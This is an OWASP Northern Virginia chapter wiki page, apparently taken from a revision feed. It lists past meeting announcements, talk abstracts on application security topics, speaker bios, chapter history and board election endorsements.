'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode&amp;lt;br&amp;gt; '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== September 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Fortify 360&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360! &lt;br /&gt;
&lt;br /&gt;
The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served. &lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 3, 2009. 6:00pm.&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Conducting Application Assessment&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Jeremy Epstein, SRI&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with &amp;quot;hanging chads&amp;quot;. Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective. &lt;br /&gt;
&lt;br /&gt;
'''ABOUT THE SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': July 9th 6pm-9pm EST&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Ounce's 02&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.&amp;lt;br&amp;gt; '''DESCRIPTION''': So what is O2? &lt;br /&gt;
&lt;br /&gt;
Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People) &lt;br /&gt;
&lt;br /&gt;
Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission). &lt;br /&gt;
&lt;br /&gt;
Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review. &lt;br /&gt;
&lt;br /&gt;
Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :) &lt;br /&gt;
&lt;br /&gt;
The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''&amp;lt;br&amp;gt; Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''&amp;lt;br&amp;gt;'' &lt;br /&gt;
&lt;br /&gt;
Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups. &lt;br /&gt;
&lt;br /&gt;
Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group. &lt;br /&gt;
&lt;br /&gt;
Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''&amp;lt;br&amp;gt; Later, a panel: &lt;br /&gt;
&lt;br /&gt;
*Steven Lavenhar, Booz Allen Hamilton; &lt;br /&gt;
*Eric Dalci, Cigital Inc.&lt;br /&gt;
&lt;br /&gt;
Panel moderated by John Steven &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools. &lt;br /&gt;
&lt;br /&gt;
Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''&amp;lt;br&amp;gt; Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Later, &lt;br /&gt;
&lt;br /&gt;
*Nate Miller, Stratum Security; &lt;br /&gt;
*Jeremiah Grossman, Whitehat Security; &lt;br /&gt;
*Tom Brennan, Whitehat Security; and &lt;br /&gt;
*Wade Woolwine, AOL&lt;br /&gt;
&lt;br /&gt;
served as penetration testing panels answering questions posed and moderated by Ken Van Wyk. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2009  ===&lt;br /&gt;
&lt;br /&gt;
''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity''' &lt;br /&gt;
&lt;br /&gt;
Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth. &lt;br /&gt;
&lt;br /&gt;
This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes. &lt;br /&gt;
&lt;br /&gt;
Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett ) &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]] &lt;br /&gt;
&lt;br /&gt;
''John Steven, Cigital'': '''Moving Beyond Top N Lists''' &lt;br /&gt;
&lt;br /&gt;
Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real. &lt;br /&gt;
&lt;br /&gt;
John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== January 2009  ===&lt;br /&gt;
&lt;br /&gt;
To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project. &lt;br /&gt;
&lt;br /&gt;
''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI''' &lt;br /&gt;
&lt;br /&gt;
Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices. &lt;br /&gt;
&lt;br /&gt;
Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes &amp;amp;amp; Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]] &lt;br /&gt;
&lt;br /&gt;
''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS''' &lt;br /&gt;
&lt;br /&gt;
The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies. &lt;br /&gt;
&lt;br /&gt;
Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard. &lt;br /&gt;
&lt;br /&gt;
Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]] &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our November 2008 meeting, we had two great presentations on software assurance and security testing. &lt;br /&gt;
&lt;br /&gt;
''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance''' &lt;br /&gt;
&lt;br /&gt;
Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]&lt;br /&gt;
&lt;br /&gt;
''Paco Hope, Cigital'': '''The Web Security Testing Cookbook''' &lt;br /&gt;
&lt;br /&gt;
The Web Security Testing Cookbook (O'Reilly &amp;amp;amp; Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort. &lt;br /&gt;
&lt;br /&gt;
Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]] &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2008  ===&lt;br /&gt;
&lt;br /&gt;
For our October 2008 meeting, we had two fascinating talks relating to forensics. &lt;br /&gt;
&lt;br /&gt;
''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats''' &lt;br /&gt;
&lt;br /&gt;
Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats] &lt;br /&gt;
&lt;br /&gt;
''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data''' &lt;br /&gt;
&lt;br /&gt;
Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities. &lt;br /&gt;
&lt;br /&gt;
Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data] &lt;br /&gt;
&lt;br /&gt;
=== History  ===&lt;br /&gt;
&lt;br /&gt;
The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship. &lt;br /&gt;
&lt;br /&gt;
==== Chapter Groups  ====&lt;br /&gt;
&lt;br /&gt;
Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in: &lt;br /&gt;
&lt;br /&gt;
*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling] &lt;br /&gt;
*[http://groups.google.com/group/novaowasp_mobile Mobile]&lt;br /&gt;
&lt;br /&gt;
=== OWASP NoVa Members On Twitter  ===&lt;br /&gt;
&lt;br /&gt;
Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615] &lt;br /&gt;
&lt;br /&gt;
John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul] &lt;br /&gt;
&lt;br /&gt;
Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino] &lt;br /&gt;
&lt;br /&gt;
Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview] &lt;br /&gt;
&lt;br /&gt;
Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky] &lt;br /&gt;
&lt;br /&gt;
Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov] &lt;br /&gt;
&lt;br /&gt;
Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks] &lt;br /&gt;
&lt;br /&gt;
Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt] &lt;br /&gt;
&lt;br /&gt;
Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity] &lt;br /&gt;
&lt;br /&gt;
Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889] &lt;br /&gt;
&lt;br /&gt;
==== Knowledge  ====&lt;br /&gt;
&lt;br /&gt;
The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as: &lt;br /&gt;
&lt;br /&gt;
*Threat Modeling &lt;br /&gt;
*[[Code Review and Static Analysis with tools]] &lt;br /&gt;
*Penetration Testing and Dynamic Analysis tools &lt;br /&gt;
*Monitoring/Dynamic patching (WAFs)&lt;br /&gt;
&lt;br /&gt;
Certain projects our members are involved in cross-cut these activities, providing value throughout. They include: &lt;br /&gt;
&lt;br /&gt;
*ASVS&lt;br /&gt;
&lt;br /&gt;
=== Static Analysis Curriculum  ===&lt;br /&gt;
&lt;br /&gt;
*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].&lt;br /&gt;
&lt;br /&gt;
The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter]. &lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]] &lt;br /&gt;
&lt;br /&gt;
'''Contacts'''&amp;lt;br&amp;gt; Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
=== Flash Talk Resources  ===&lt;br /&gt;
&lt;br /&gt;
Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] &amp;lt;br&amp;gt; [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information &amp;lt;br&amp;gt; Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] &amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
&amp;lt;paypal&amp;gt;Northern Virginia&amp;lt;/paypal&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Chapter]]&lt;br /&gt;
[[Category:United States]]&lt;br /&gt;
[[Category:Virginia]]&lt;br /&gt;
[[Category:Washington,_DC]]&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Virginia&amp;diff=206273</id>
		<title>Virginia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Virginia&amp;diff=206273"/>
				<updated>2016-01-11T22:09:05Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: Updating page&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== About  ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. &lt;br /&gt;
&lt;br /&gt;
We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules. &lt;br /&gt;
&lt;br /&gt;
The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics. &lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.&lt;br /&gt;
&lt;br /&gt;
=== 2015 Chapter Election Candidates ===&lt;br /&gt;
*Mike McCabe - Board Chair&lt;br /&gt;
**OWASP Membership ID: 020000901&lt;br /&gt;
**Endorsement - Jack Mannino, Current Board Chair&lt;br /&gt;
**Full Disclosure: Mike reports directly to me at our day job.&lt;br /&gt;
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.&lt;br /&gt;
*Akshay Sivananda&lt;br /&gt;
**OWASP Membership ID:  020000050&lt;br /&gt;
**Endorsement - Ping Ning, Chapter Member&lt;br /&gt;
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.&lt;br /&gt;
*Abdullah Munawar&lt;br /&gt;
**OWASP Membership ID: 020000037&lt;br /&gt;
**Endorsement - Jon Callahan, Chapter Member&lt;br /&gt;
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been. &lt;br /&gt;
&lt;br /&gt;
=== Chapter Board ===&lt;br /&gt;
Previously having had a Chapter Leader, then a Chapter &amp;quot;Program Committee&amp;quot;, the chapter is now run by a full board (alphabetical order):&lt;br /&gt;
* Michael McCabe - Board Chair&lt;br /&gt;
* Abdullah Munawar&lt;br /&gt;
* Akshay Sivananda&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Board member responsibilities include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;   * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics&lt;br /&gt;
   * Recruiting OWASP membership&lt;br /&gt;
   * Driving OWASP NoVA Chapter attendance and involvement&lt;br /&gt;
   * Deferring to, facilitating, and supporting the activities and projects of chapter membership&lt;br /&gt;
   * Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions&lt;br /&gt;
   * Scouting, clearing, and scheduling chapter meeting venues and catering&lt;br /&gt;
   * Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations&lt;br /&gt;
   * Collecting and auditing use of chapter funds&lt;br /&gt;
   * Voting on chapter matters&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;amp;authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}&lt;br /&gt;
&lt;br /&gt;
You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter. &lt;br /&gt;
&lt;br /&gt;
=== Schedule  ===&lt;br /&gt;
&lt;br /&gt;
Meetings are (generally) held the first Thursday of the month.&lt;br /&gt;
&lt;br /&gt;
Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.  &lt;br /&gt;
&lt;br /&gt;
== Next Meeting  ==&lt;br /&gt;
&lt;br /&gt;
We'll post all meetings on the Meetup page below. &lt;br /&gt;
&lt;br /&gt;
We can also be contacted through the comment or messages systems on Meetup.&lt;br /&gt;
&lt;br /&gt;
For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past meetings ==&lt;br /&gt;
&lt;br /&gt;
===January 2016===&lt;br /&gt;
'''Date/Time:''' January 14th, 2016 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' 11600 Sunrise Valley Drive, Reston, VA in the 'Chillout room'&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===July 2014===&lt;br /&gt;
'''Date/Time:''' July 10th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
OAuth 1.0 Authorization and Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===February 2013===&lt;br /&gt;
'''Date/Time:''' February 7th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
